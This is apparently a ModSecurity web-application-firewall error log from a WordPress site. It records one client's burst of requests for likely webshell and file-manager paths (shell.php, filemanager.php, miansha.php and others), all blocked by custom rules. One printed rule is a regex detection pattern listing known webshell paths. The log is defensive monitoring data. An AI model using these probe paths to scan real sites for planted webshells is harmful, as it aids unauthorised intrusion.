[Thu Dec 18 21:45:34.706277 2025] [:error] [pid 25357:tid 25370] [client 4.196.84.157:14508] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/miansha.php"] [unique_id "aUQFfoaT7bsEXnJVfJdzNQAAAcs"]
[Thu Dec 18 21:45:35.060620 2025] [:error] [pid 12035:tid 12067] [client 4.196.84.157:24172] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/miansha.php"] [unique_id "aUQFf7cVHrNSHjCo-0qe2QAAAhg"]
[Thu Dec 18 21:45:35.313257 2025] [:error] [pid 24542:tid 24548] [client 4.196.84.157:24537] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/miansha.php"] [unique_id "aUQFf0tQz4H2oS3NrDYoqwAAAUQ"]
[Thu Dec 18 21:45:35.506775 2025] [:error] [pid 25357:tid 25380] [client 4.196.84.157:22995] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/miansha.php"] [unique_id "aUQFf4aT7bsEXnJVfJdzNgAAAdU"]
[Thu Dec 18 21:45:35.981166 2025] [:error] [pid 24958:tid 24964] [client 4.196.84.157:13399] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/test2.php"] [unique_id "aUQFf8kDOrUkd0wNm2HUOQAAAYM"]
[Thu Dec 18 21:45:36.376482 2025] [:error] [pid 24542:tid 24550] [client 4.196.84.157:13433] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/test2.php"] [unique_id "aUQFgEtQz4H2oS3NrDYorQAAAUY"]
[Thu Dec 18 21:45:37.001269 2025] [:error] [pid 24542:tid 24544] [client 4.196.84.157:14490] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/test2.php"] [unique_id "aUQFgEtQz4H2oS3NrDYorgAAAUA"]
[Thu Dec 18 21:45:37.620802 2025] [:error] [pid 12239:tid 12256] [client 4.196.84.157:14660] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/test2.php"] [unique_id "aUQFgdNnXxfGIuWO6akjCQAAAow"]
[Thu Dec 18 21:45:38.066299 2025] [:error] [pid 23556:tid 23582] [client 4.196.84.157:23037] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUQFghnmLlk3u5yt9kHwnAAAABY"]
[Thu Dec 18 21:45:38.255388 2025] [:error] [pid 23558:tid 23617] [client 4.196.84.157:14477] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUQFguHam9NbgPQa9uYuOAAAAMI"]
[Thu Dec 18 21:45:38.506809 2025] [:error] [pid 12239:tid 12253] [client 4.196.84.157:17680] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUQFgtNnXxfGIuWO6akjCwAAAok"]
[Thu Dec 18 21:45:38.654487 2025] [:error] [pid 24958:tid 24974] [client 4.196.84.157:1465] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUQFgskDOrUkd0wNm2HUOwAAAY0"]
[Thu Dec 18 21:45:38.890130 2025] [:error] [pid 25357:tid 25382] [client 4.196.84.157:17701] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aUQFgoaT7bsEXnJVfJdzPAAAAdc"]
[Thu Dec 18 21:45:39.448930 2025] [:error] [pid 12239:tid 12264] [client 4.196.84.157:1414] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aUQFg9NnXxfGIuWO6akjDAAAApQ"]
[Thu Dec 18 21:45:39.652264 2025] [:error] [pid 12239:tid 12246] [client 4.196.84.157:22978] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aUQFg9NnXxfGIuWO6akjDQAAAoI"]
[Thu Dec 18 21:45:40.218508 2025] [:error] [pid 12239:tid 12250] [client 4.196.84.157:14675] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aUQFhNNnXxfGIuWO6akjDgAAAoY"]
[Thu Dec 18 21:45:40.896831 2025] [:error] [pid 23556:tid 23564] [client 4.196.84.157:22287] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mah.php"] [unique_id "aUQFhBnmLlk3u5yt9kHwoAAAAAQ"]
[Thu Dec 18 21:45:41.354001 2025] [:error] [pid 23556:tid 23580] [client 4.196.84.157:1456] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mah.php"] [unique_id "aUQFhRnmLlk3u5yt9kHwogAAABQ"]
[Thu Dec 18 21:45:41.837499 2025] [:error] [pid 23558:tid 23639] [client 4.196.84.157:1439] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mah.php"] [unique_id "aUQFheHam9NbgPQa9uYuPAAAANg"]
[Thu Dec 18 21:45:42.292106 2025] [:error] [pid 23645:tid 23666] [client 4.196.84.157:17668] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mah.php"] [unique_id "aUQFhjf_Rx0Y0ao_QJhljAAAAJM"]
[Thu Dec 18 21:45:42.699720 2025] [:error] [pid 23645:tid 23660] [client 4.196.84.157:1471] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asas.php"] [unique_id "aUQFhjf_Rx0Y0ao_QJhljQAAAI0"]
[Thu Dec 18 21:45:42.904888 2025] [:error] [pid 23645:tid 23659] [client 4.196.84.157:13396] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asas.php"] [unique_id "aUQFhjf_Rx0Y0ao_QJhljgAAAIw"]
[Thu Dec 18 21:45:43.158501 2025] [:error] [pid 23645:tid 23664] [client 4.196.84.157:22274] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asas.php"] [unique_id "aUQFhzf_Rx0Y0ao_QJhlkQAAAJE"]
[Thu Dec 18 21:45:43.312186 2025] [:error] [pid 12239:tid 12258] [client 4.196.84.157:14718] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asas.php"] [unique_id "aUQFh9NnXxfGIuWO6akjDwAAAo4"]
[Thu Dec 18 21:45:44.607072 2025] [:error] [pid 24542:tid 24563] [client 4.196.84.157:20006] [client 4.196.84.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aUQFiEtQz4H2oS3NrDYoswAAAVM"]
[Thu Dec 18 21:45:44.968771 2025] [:error] [pid 23556:tid 23569] [client 4.196.84.157:29617] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mans.php"] [unique_id "aUQFiBnmLlk3u5yt9kHwpQAAAAk"]
[Thu Dec 18 21:46:24.017245 2025] [:error] [pid 23558:tid 23627] [client 4.196.84.157:17679] [client 4.196.84.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aUQFsOHam9NbgPQa9uYucQAAAMw"]
[Thu Dec 18 21:46:45.358542 2025] [:error] [pid 23558:tid 23629] [client 4.196.84.157:23838] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ol.php"] [unique_id "aUQFxeHam9NbgPQa9uYuigAAAM4"]
[Thu Dec 18 21:46:45.573109 2025] [:error] [pid 23556:tid 23576] [client 4.196.84.157:1735] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ol.php"] [unique_id "aUQFxRnmLlk3u5yt9kHwwgAAABA"]
[Thu Dec 18 21:46:45.995918 2025] [:error] [pid 12239:tid 12255] [client 4.196.84.157:24839] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ol.php"] [unique_id "aUQFxdNnXxfGIuWO6akjLQAAAos"]
[Thu Dec 18 21:46:46.223876 2025] [:error] [pid 24542:tid 24558] [client 4.196.84.157:13320] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ol.php"] [unique_id "aUQFxktQz4H2oS3NrDYo2QAAAU4"]
[Thu Dec 18 21:46:46.371063 2025] [:error] [pid 24542:tid 24565] [client 4.196.84.157:22019] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ouh.php"] [unique_id "aUQFxktQz4H2oS3NrDYo2gAAAVU"]
[Thu Dec 18 21:46:46.576284 2025] [:error] [pid 23556:tid 23577] [client 4.196.84.157:15915] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ouh.php"] [unique_id "aUQFxhnmLlk3u5yt9kHwxgAAABE"]
[Thu Dec 18 21:46:47.157849 2025] [:error] [pid 23558:tid 23638] [client 4.196.84.157:15929] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ouh.php"] [unique_id "aUQFx-Ham9NbgPQa9uYuiwAAANc"]
[Thu Dec 18 21:46:48.006661 2025] [:error] [pid 12383:tid 12393] [client 4.196.84.157:15994] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ouh.php"] [unique_id "aUQFyPdgllo9h1cyxGbNdAAAAsc"]
[Thu Dec 18 21:46:48.200503 2025] [:error] [pid 24542:tid 24544] [client 4.196.84.157:15917] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUQFyEtQz4H2oS3NrDYo3QAAAUA"]
[Thu Dec 18 21:46:48.396297 2025] [:error] [pid 24542:tid 24566] [client 4.196.84.157:15959] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUQFyEtQz4H2oS3NrDYo3wAAAVY"]
[Thu Dec 18 21:46:48.756197 2025] [:error] [pid 23645:tid 23667] [client 4.196.84.157:1772] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUQFyDf_Rx0Y0ao_QJhluQAAAJQ"]
[Thu Dec 18 21:46:48.930038 2025] [:error] [pid 12035:tid 12046] [client 4.196.84.157:23766] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "aUQFyLcVHrNSHjCo-0qe9gAAAgQ"]
[Thu Dec 18 21:46:49.073762 2025] [:error] [pid 23556:tid 23568] [client 4.196.84.157:24866] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell.php"] [unique_id "aUQFyRnmLlk3u5yt9kHwyQAAAAg"]
[Thu Dec 18 21:46:49.204584 2025] [:error] [pid 12035:tid 12048] [client 4.196.84.157:1363] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell.php"] [unique_id "aUQFybcVHrNSHjCo-0qe9wAAAgY"]
[Thu Dec 18 21:46:49.468074 2025] [:error] [pid 12035:tid 12044] [client 4.196.84.157:1745] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell.php"] [unique_id "aUQFybcVHrNSHjCo-0qe-AAAAgI"]
[Thu Dec 18 21:46:49.964016 2025] [:error] [pid 23558:tid 23622] [client 4.196.84.157:16068] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell.php"] [unique_id "aUQFyeHam9NbgPQa9uYujQAAAMc"]
[Thu Dec 18 21:46:50.250422 2025] [:error] [pid 23558:tid 23633] [client 4.196.84.157:1789] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tgrs.php"] [unique_id "aUQFyuHam9NbgPQa9uYujgAAANI"]
[Thu Dec 18 21:46:50.594991 2025] [:error] [pid 23558:tid 23637] [client 4.196.84.157:13358] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tgrs.php"] [unique_id "aUQFyuHam9NbgPQa9uYujwAAANY"]
[Thu Dec 18 21:46:50.776901 2025] [:error] [pid 24542:tid 24553] [client 4.196.84.157:15986] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tgrs.php"] [unique_id "aUQFyktQz4H2oS3NrDYo4QAAAUk"]
[Thu Dec 18 21:46:50.886737 2025] [:error] [pid 24542:tid 24567] [client 4.196.84.157:13372] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tgrs.php"] [unique_id "aUQFyktQz4H2oS3NrDYo4gAAAVc"]
[Thu Dec 18 21:46:51.059679 2025] [:error] [pid 12239:tid 12253] [client 4.196.84.157:24859] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/system_log.php"] [unique_id "aUQFy9NnXxfGIuWO6akjMAAAAok"]
[Thu Dec 18 21:46:51.381484 2025] [:error] [pid 25357:tid 25374] [client 4.196.84.157:16081] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/system_log.php"] [unique_id "aUQFy4aT7bsEXnJVfJdziQAAAc8"]
[Thu Dec 18 21:46:51.481568 2025] [:error] [pid 23556:tid 23574] [client 4.196.84.157:24861] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/system_log.php"] [unique_id "aUQFyxnmLlk3u5yt9kHwywAAAA4"]
[Thu Dec 18 21:46:51.642912 2025] [:error] [pid 23556:tid 23570] [client 4.196.84.157:15905] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/system_log.php"] [unique_id "aUQFyxnmLlk3u5yt9kHwzAAAAAo"]
[Thu Dec 18 21:46:51.807756 2025] [:error] [pid 25357:tid 25364] [client 4.196.84.157:24850] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aUQFy4aT7bsEXnJVfJdzigAAAcU"]
[Thu Dec 18 21:46:52.044395 2025] [:error] [pid 24433:tid 24437] [client 4.196.84.157:15949] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aUQFzJ4pN9ycmipm8Tjh0AAAAQE"]
[Thu Dec 18 21:46:52.320269 2025] [:error] [pid 23556:tid 23567] [client 4.196.84.157:1381] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aUQFzBnmLlk3u5yt9kHwzQAAAAc"]
[Thu Dec 18 21:46:52.660631 2025] [:error] [pid 25357:tid 25379] [client 4.196.84.157:15963] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aUQFzIaT7bsEXnJVfJdziwAAAdQ"]
